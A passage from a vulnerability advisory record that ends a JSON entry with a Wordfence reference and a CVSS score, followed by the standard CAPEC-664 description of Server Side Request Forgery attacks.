"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/87ca07ac-6080-45d7-a8f5-74a918adec43?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.